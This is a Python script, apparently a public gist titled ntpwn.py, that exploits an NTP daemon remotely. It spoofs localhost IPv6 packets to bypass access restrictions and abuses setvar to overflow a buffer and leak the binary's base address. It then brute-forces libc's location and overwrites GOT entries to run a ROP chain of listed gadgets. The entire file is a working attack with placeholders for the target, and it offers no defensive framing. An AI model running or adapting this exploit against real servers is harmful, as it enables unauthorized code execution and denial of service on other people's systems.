ficapy
2/4/2016 - 12:38 PM

ntpwn.py

#!/usr/bin/env python

from socket import socket, AF_INET, SOCK_DGRAM, timeout
import hashlib
import time
import struct
from scapy.all import sendp, Ether, IPv6, UDP, Raw
from bitarray import bitarray

IP6 = PUT_TARGET_LINK_LOCAL_IPV6_HERE
IP4 = PUT_TARGET_IPV4_HERE
SRC_IP4 = PUT_YOUR_IPV4_HERE
IFACE = PUT_OUTGOING_INTERFACE_NAME_HERE

SPORT = 1234
PORT = 123
SOCKET_TIMEOUT = 0.2
RETRY_TIMEOUT = 0.1

strlen_off = 0x1720
bin_base = 0
rpkt_data = 0x5bee6
rpkt_data_CTL_MAX_DATA_LEN = 0x5c0ba
datapt = 0x5c0f8
_free_got = 0x4f230
_strlen_got = 0x4f520
remote_config_buffer = 0x55910

DATAPT_OFF = datapt - rpkt_data
DATAEND_OFF = rpkt_data_CTL_MAX_DATA_LEN

class NullByteException(Exception):
    def __init__(self, msg):
        super(NullByteException, self).__init__(msg)

class ShortResponseException(Exception):
    def __init__(self, msg):
        super(ShortResponseException, self).__init__(msg)

def send_rcv(data, spoof=False, skip_recv=False):
    if spoof:
        sendp(Ether()/IPv6(src="::1", dst=IP6)/UDP(sport=SPORT, dport=PORT)/Raw(data), iface=IFACE)
        return
    s.sendto(data, (IP4, PORT))
    if skip_recv:
        return
    data, _ = s.recvfrom(1024)
    return data

def calc_mac(data):
    return hashlib.md5(auth_key + data).digest()

def send_ctrl(data, mode, spoof=False, skip_recv=False, add_mac=True):
    #print '[debug] send_ctrl {} bytes, mode {}, spoof: {}'.format(len(data), mode, spoof)
    if len(data) > 0:
        data = data.ljust(len(data)+(4-(len(data)%4)), "\x00")
    if add_mac:
        if len(data) % 8 == 0:
            data += '\x00'*4
    ctrl_pkt = chr(0x20 | 6) #leap version mode
    ctrl_pkt += chr(mode) #response, more, error, opcode
    ctrl_pkt += 'AA' #seq nr
    ctrl_pkt += 'BB' #status word
    ctrl_pkt += '\x00\x00' #assoc id
    ctrl_pkt += '\x00\x00' #offset
    ctrl_pkt += struct.pack('>H', len(data)) #data count
    ctrl_pkt += data
    if add_mac:
        mac = calc_mac(ctrl_pkt)
        ctrl_pkt += struct.pack('>I', 65535) #keyid
        ctrl_pkt += mac
    return send_rcv(ctrl_pkt, spoof, skip_recv=skip_recv)

def send_private(data, mode, spoof=False):
    pkt = chr(0x20 | 7) #leap version mode
    pkt += chr(0x80) #auth sequence
    pkt += chr(3) #impl nr
    pkt += chr(mode) #request
    pkt += '\x00\x00' #err nitems
    pkt += struct.pack('>H', len(data)) #mbz_itemsize
    pkt += data
    pkt += struct.pack('>I', int(time.time()) - 1 + 0x83aa7e80)
    pkt += '\x00\x00\x00\x00' #timestamp
    mac = calc_mac(pkt)
    pkt += struct.pack('>I', 65535) #keyid
    pkt += mac
    return send_rcv(pkt, spoof)

def add_ctl_key():
    send_private(struct.pack('>I', 65535)+'\x00'*4, 33, spoof=True)

def lift_restrict():
    send_ctrl('restrict {}\n'.format(SRC_IP4), 8, spoof=True) #set variable

def pack_addr(addr):
    bytes = struct.pack('<Q', addr)
    bytes = bytes.rstrip('\x00')
    len_bytes = len(bytes)
    len_adjust = len('a='+'E'*(DATAPT_OFF-2)) + len_bytes
    addr -= len_adjust
    bytes = struct.pack('<Q', addr)
    bytes = bytes.rstrip('\x00')
    assert len(bytes) == len_bytes
    return bytes

def overwrite_datapt(bytes):
    print '[*] overwriting datapt with {} bytes'.format(len(bytes))
    assert len(bytes) > 0 and '\x00' not in bytes
    #send_ctrl('setvar a = ' + 'i'*(DATAPT_OFF-2) + bytes + '\n', 8) #set variable
    send_ctrl('setvar a = {}\n'.format('i'*(DATAPT_OFF-2) + bytes), 8) #set variable
    send_ctrl("a=", 2) #read var
    response, _ = s.recvfrom(4096)
    return response

def leak_base(bytes):
    response = overwrite_datapt(bytes)
    if len(response) < DATAPT_OFF + 8 + 8 + 12 + 8:
        raise ShortResponseException('response too short got {}, want {}'.format(len(response), DATAPT_OFF + 8 + 8 + 12 + 8))
    dataend_addr = response[DATAPT_OFF + 12 + 8:DATAPT_OFF + 12 + 8 + 5] + '\x00'*3
    dataend_addr = struct.unpack('<Q', dataend_addr)[0]
    return dataend_addr - DATAEND_OFF

def overwrite(what, where, rdi, rsp_8='', use_strlen=True):
    print '[*] writing 0x{:x} to 0x{:x}'.format(what, where)
    where = pack_addr(where-5) #TODO 3 or 5?
    what = struct.pack('<Q', what).rstrip('\x00')
    if len(where) == 0 or '\x00' in where or len(what) == 0 or '\x00' in what:
        raise NullByteException('null byte in what or where')
    send_ctrl('setvar x = "{}"'.format('H'*(DATAPT_OFF-2) + where) + '\n', 8) #set variable
    send_ctrl('setvar y = "{}"'.format(what) + '\n', 8) #set variable
    send_ctrl('setvar z = "{}"'.format(rdi) + '\n', 8) #set variable
    read_var_str = 'x=,y='
    if use_strlen:
        read_var_str += ',z={}'.format(rsp_8)
    print '[*] preparing the stack'
    prepare_stack(gadget2+libc_base, bin_base+remote_config_buffer+8)
    print '[*] preparing the shellcode'
    prepare_shellcode()
    print '[*] setting up remote config buffer at address 0x{:x}'.format(bin_base+remote_config_buffer)
    send_ctrl(shellcode, 8)
    send_ctrl(read_var_str, 2, skip_recv=True) #read var

def add_trap():
    s.settimeout(SOCKET_TIMEOUT)
    try:
        send_ctrl('', 6) #set variable
    except timeout as e:
        s.settimeout(None)
        raise e
    s.settimeout(None)

def is_up():
    pkt = chr(0x20 | 0x3)
    pkt += chr(0x1)
    pkt += 'b'*8
    pkt += 'c'*8
    pkt += 'd'*8
    pkt += 'jklmnopq'
    pkt += '123456'
    pkt += 'A'*8
    try:
        s.settimeout(SOCKET_TIMEOUT)
        send_rcv(pkt)
        s.settimeout(None)
        return True
    except timeout:
        s.settimeout(None)
        return False

def prepare_stack(ret_addr, buf_addr):
    ret_addr = struct.pack('>Q', ret_addr)
    buf_addr = struct.pack('>Q', buf_addr)
    pkt = chr(0x20 | 0x3)
    pkt += chr(0x1)
    pkt += 'b'*8
    pkt += 'c'*8
    pkt += 'd'*8
    pkt += 'jklmno'
    pkt += buf_addr[4:]
    pkt += buf_addr[:4]
    pkt += ret_addr[4:]
    pkt += ret_addr[:4]
    send_rcv(pkt)

def trigger_crash():
    try:
        s.settimeout(SOCKET_TIMEOUT)
        send_ctrl('setvar a = ' + 'H'*(DATAPT_OFF-2) + 'a'*8 + '\n', 8) #set variable
        send_ctrl('a=', 2, skip_recv=True) #read var
    except timeout:
        pass

auth_key = 'AAAA'

s = None

def prepare_connection():
    global s
    s = socket(AF_INET, SOCK_DGRAM)

    while not is_up():
        print '[*] host not reachable, retrying in {} second'.format(RETRY_TIMEOUT)
        time.sleep(RETRY_TIMEOUT)

    print '[*] adding ctl key'
    add_ctl_key()

    print '[*] lifting restrictions'
    lift_restrict()

    print '[*] adding trap'
    add_trap()

def crash():
    prepare_connection()
    trigger_crash()

def overwrite_got(what, rdi, rsp_8, use_strlen=True):
    global bin_base
    prepare_connection()

    if use_strlen:
        where = _strlen_got
    else:
        where = _free_got

    print '[*] leaking base address'
    try:
        s.settimeout(SOCKET_TIMEOUT)
        bin_base = leak_base('\xfc\x20')
        s.settimeout(None)
    except ShortResponseException:
        print '[*] leaking base address failed, retrying'
        return overwrite_got(what, rdi, rsp_8, use_strlen)

    print '[*] binary at 0x{:x}'.format(bin_base)

    try:
        overwrite(what, bin_base+where, rdi, rsp_8, use_strlen=use_strlen)
        s.settimeout(SOCKET_TIMEOUT)
        s.recvfrom(1024)[0].encode('hex')
    except NullByteException:
        print '[*] null byte in address, crash and retry'
        trigger_crash()
        return overwrite_got(what, rdi, rsp_8, use_strlen)

shellcode = ''
ropchain = 'A'*8
def prepare_shellcode():
    global shellcode
    shellcode = '\n'+'\x00'*7
    shellcode += 'D'*8
    shellcode += struct.pack('<Q', libc_base+gadget7)
    shellcode += struct.pack('<Q', libc_base+gadget3)
    shellcode += 'E'*8
    shellcode += 'F'*8
    shellcode += struct.pack('<Q', libc_base+gadget5) #new rdi
    shellcode += struct.pack('<Q', bin_base+remote_config_buffer+8) #new rdi
    shellcode += struct.pack('<Q', libc_base+gadget6) #rbx
    shellcode += struct.pack('<Q', libc_base+gadget4)
    shellcode += 'G'*16
    shellcode += ropchain

libc_base = 0

gadget1 = 0x11065 #add rsp, x
gadget2 = 0x67d81 #mov rdi, r12
gadget3 = 0x438ba #fix rbp
gadget4 = 0x1c6d7 #load rbx rdi+0x38
gadget5 = 0x5fa49 #mov rsi, r12
gadget6 = 0x56fd #push rsi, pop rsp
gadget7 = 0x2bd06 #add rsp, n

CHAR_BLACKLIST = '\x00\n"\xff'

ranges = [xrange(1,2**4), reversed(xrange(1,2**8)), xrange(1,2**5)]
shifts = [12, 16, 24]

strlen_addr = strlen_off

for i in range(3):
    for a in ranges[i]:
        addr = (a<<shifts[i]) + strlen_addr
        if i == 2:
            addr += 0x80000000
        print '[*] trying strlen address 0x{:x}'.format(addr)
        if any(c in CHAR_BLACKLIST for c in struct.pack('<Q', addr).rstrip('\x00')):
            continue
        overwrite_got(addr, 'A', 'A')
        print '[*] found candidate, verifying'
        if is_up():
            trigger_crash()
            overwrite_got(addr, 'A', 'A')
            if is_up():
                trigger_crash()
                strlen_addr = addr
                print '[*] found next byte. New address: 0x{:x}'.format(addr)
                break

strlen_addr += 0x7fff00000000
libc_base = strlen_addr - strlen_off

print '[*] found libc base: 0x{:x}'.format(libc_base)
overwrite_got(libc_base+gadget1, 'A', 'A')